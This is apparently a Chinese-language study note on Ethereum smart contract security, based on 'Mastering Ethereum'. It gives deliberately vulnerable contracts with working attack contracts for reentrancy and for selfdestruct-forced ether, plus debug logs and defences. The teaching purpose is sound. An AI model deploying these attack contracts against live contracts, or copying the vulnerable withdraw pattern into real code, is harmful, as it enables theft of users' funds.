学区块链做的笔记Day8,大部分内容来自《精通以太坊》。
智能合约安全 重入攻击 这里这个重入攻击先是,在网上看了很久,根本没看懂,后面才看的书,发现书里其实写的很明白。
这里我把书上的代码简化了一下(毕竟只是做演示)。
合约代码 编译器版本 :0.4.22
。
钱包.sol:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 contract EtherStore { // 创建{账户: 余额}表 mapping (address => uint256) public balances; // 用于接收传入的ETH,然后更新余额 function depositFunds() public payable { balances[msg.sender] += msg.value; } // 验证并转出余额,然后更新余额 function withdrawFunds (uint256 _weiToWithdraw) public { require(balances[msg.sender] >= _weiToWithdraw); require(msg.sender.call.value(_weiToWithdraw)()); balances[msg.sender] -= _weiToWithdraw; } }
攻击利用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import <这里替换为引用的地址,在remix的话可以直接右键复制路径>; contract Attack { // 创建钱包类的对象 EtherStore public etherStore; // 构造函数,传入我们需要攻击的钱包的地址 constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // 开始攻击 function attackEtherStore() public payable { require(msg.value >= 1 ether); // 往钱包转入 1 eth etherStore.depositFunds.value(1 ether)(); // 从钱包提出 1 eth etherStore.withdrawFunds(1 ether); } // 用于提款,就验证攻击的话这个函数是不重要的 function collectEther() public { msg.sender.transfer(this.balance); } // 用于重放攻击 function () payable { if (etherStore.balance > 1 ether) { etherStore.withdrawFunds(1 ether); } } }
也不需要标注版本啥的,会报黄但是不用管。
部署合约 先用测试账户1 部署钱包合约,然后往里面转5 eth
。
复制这个钱包的地址 ,然后再用另一个测试账户2 部署攻击合约。
向攻击合约转1 eth
来调用attackEtherStore
函数。
可以看到攻击合约 内的余额变成了5 eth
但是钱包 里的余额变成了1 eth
。
重入攻击结束。
原理解释 造成这个漏洞的关键就在于,钱包合约在不清楚外部合约的风险 的情况下调用了这些合约。
那钱包是在什么时候调用了这些外部合约呢?答案是下面这句。
1 require(msg.sender.call.value(_weiToWithdraw)());
这句往发起者的地址(攻击合约)提交了一笔转账,当攻击合约接收到这笔转账时,因为下面这段代码的存在。
1 2 3 4 5 function () payable { if (etherStore.balance > 1 ether) { etherStore.withdrawFunds(1 ether); } }
合约会自动执行这段代码(fallback函数),当执行这段代码的时候,原来的钱包合约中的代码是停止运行的(不是异步的!!!)。只有当这里执行完才会接着执行钱包合约中下面的代码。
但是这时候我们又对钱包合约发送了提款请求。
1 2 3 4 5 6 function withdrawFunds (uint256 _weiToWithdraw) public { require(balances[msg.sender] >= _weiToWithdraw); require(msg.sender.call.value(_weiToWithdraw)()); // 钱包余额的更新在发送的下面(没有更新),所以上面的验证金额就能一直通过。 balances[msg.sender] -= _weiToWithdraw; }
然后就会陷入一个循环,此时大家应该有注意到,下面这句
1 balances[msg.sender] -= _weiToWithdraw;
并不是没有被执行到,只是放在了所有请求结束后才被执行。就像下面这种结构一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 if (){ evalcode if (){ evalcode if (){ evalcode ... } code } code } code
所以我们可以做一个简单的验证。
漏洞验证(非必要) 首先我们可以导入一个包(只是为了方便)
Console.sol:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pragma solidity ^0.4.21; //通过log函数重载,对不同类型的变量trigger不同的event,实现solidity打印效果,使用方法为:log(string name, var value) contract Console { event LogUint(string, uint); function log(string s , uint x) internal { emit LogUint(s, x); } event LogInt(string, int); function log(string s , int x) internal { emit LogInt(s, x); } event LogBytes(string, bytes); function log(string s , bytes x) internal { emit LogBytes(s, x); } event LogBytes32(string, bytes32); function log(string s , bytes32 x) internal { emit LogBytes32(s, x); } event LogAddress(string, address); function log(string s , address x) internal { emit LogAddress(s, x); } event LogBool(string, bool); function log(string s , bool x) internal { emit LogBool(s, x); } }
更新钱包.sol:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import "Console.sol"; contract EtherStore is Console{ mapping (address => uint256) public balances; function depositFunds() public payable { balances[msg.sender] += msg.value; } function withdrawFunds (uint256 _weiToWithdraw) public { require(balances[msg.sender] >= _weiToWithdraw); require(msg.sender.call.value(_weiToWithdraw)()); log("余额为:", balances[msg.sender]); balances[msg.sender] -= _weiToWithdraw; } }
代码来自:Solidity调试 - 实现变量打印 - huahuayu - 博客园 (cnblogs.com)
我们就可以看到下面的语句被运行了几次,以及攻击地址的账户余额。
重复攻击的步骤,查看日志。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 [ { "from" : "0xb692edc9d2b7581992cab16905322e43849fae26" , "topic" : "0x941296a39ea107bde685522318a4b6c2b544904a5dd82a512748ca2cf839bef7" , "event" : "LogUint" , "args" : { "0" : "余额为:" , "1" : "1000000000000000000" } } , { "from" : "0xb692edc9d2b7581992cab16905322e43849fae26" , "topic" : "0x941296a39ea107bde685522318a4b6c2b544904a5dd82a512748ca2cf839bef7" , "event" : "LogUint" , "args" : { "0" : "余额为:" , "1" : "0" } } , { "from" : "0xb692edc9d2b7581992cab16905322e43849fae26" , "topic" : "0x941296a39ea107bde685522318a4b6c2b544904a5dd82a512748ca2cf839bef7" , "event" : "LogUint" , "args" : { "0" : "余额为:" , "1" : "115792089237316195423570985008687907853269984665640564039456584007913129639936" } } , { "from" : "0xb692edc9d2b7581992cab16905322e43849fae26" , "topic" : "0x941296a39ea107bde685522318a4b6c2b544904a5dd82a512748ca2cf839bef7" , "event" : "LogUint" , "args" : { "0" : "余额为:" , "1" : "115792089237316195423570985008687907853269984665640564039455584007913129639936" } } , { "from" : "0xb692edc9d2b7581992cab16905322e43849fae26" , "topic" : "0x941296a39ea107bde685522318a4b6c2b544904a5dd82a512748ca2cf839bef7" , "event" : "LogUint" , "args" : { "0" : "余额为:" , "1" : "115792089237316195423570985008687907853269984665640564039454584007913129639936" } } ]
可以看到一共被执行了5次,并且余额向下溢出了。(说不定还能用这个溢出干点什么🤔)
防范技术
使用内置的transfer
,这个会限制外部调用的gas(2300 gas),不足以支持重入。
把修改状态的语句放到转账的前面,“检查 - 生效 - 交互” 模式。
引入互斥锁,增加一个状态变量来锁定合约。
真实案例 以太坊分叉的缘由:著名的The DAO事件 - 知乎 (zhihu.com) (这件事好像还挺重要的,导致了以太坊的分叉)
算术溢出 这个算是非常常见的漏洞了,在这就不过多介绍了。(如果有空余时间再来补吧)
意外的以太币 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 contract EtherGame { uint public payoutMileStone1 = 3 ether; uint public mileStone1Reward = 2 ether; uint public payoutMileStone2 = 5 ether; uint public mileStone2Reward = 3 ether; uint public finalMileStone = 10 ether; uint public finalReward = 5 ether; mapping(address => uint) redeemableEther; // Users pay 0.5 ether. At specific milestones, credit their accounts. function play() external payable { require(msg.value == 0.5 ether); // each play is 0.5 ether uint currentBalance = this.balance + msg.value; // ensure no players after the game has finished require(currentBalance <= finalMileStone); // if at a milestone, credit the player's account if (currentBalance == payoutMileStone1) { redeemableEther[msg.sender] += mileStone1Reward; } else if (currentBalance == payoutMileStone2) { redeemableEther[msg.sender] += mileStone2Reward; } else if (currentBalance == finalMileStone ) { redeemableEther[msg.sender] += finalReward; } return; } function claimReward() public { // ensure the game is complete require(this.balance == finalMileStone); // ensure there is a reward to give require(redeemableEther[msg.sender] > 0); uint transferValue = redeemableEther[msg.sender]; redeemableEther[msg.sender] = 0; msg.sender.transfer(transferValue); } }
这个合约是一个简单的游戏,玩家可以每次向合约发送0.5 ether
,分别在合约余额达到3,5,10的时候发放奖励。
但是我们却可以通过selfdestruct(target)
函数 向合约里发送0.1 ether
来使合约瘫痪。
攻击合约 1 2 3 4 5 contract Attack { function attack(address target) payable { selfdestruct(target); } }
原理解释 selfdestruct(target)
在被执行的时候会销毁当前合约,并将合约里所有的以太币强制发送到target的地址。
防范技术 不使用this.balance
做合约余额的判断。可以自定义一个变量来记录合约余额。
真实案例 uscc/submissions-2017 at master · Arachnid/uscc (github.com) 里有几个案例。
DELEGATECALL 好难先跳过。
更新中。。。。
这章的东西实在太多了,我打算自己先过一遍,后续再整理笔记。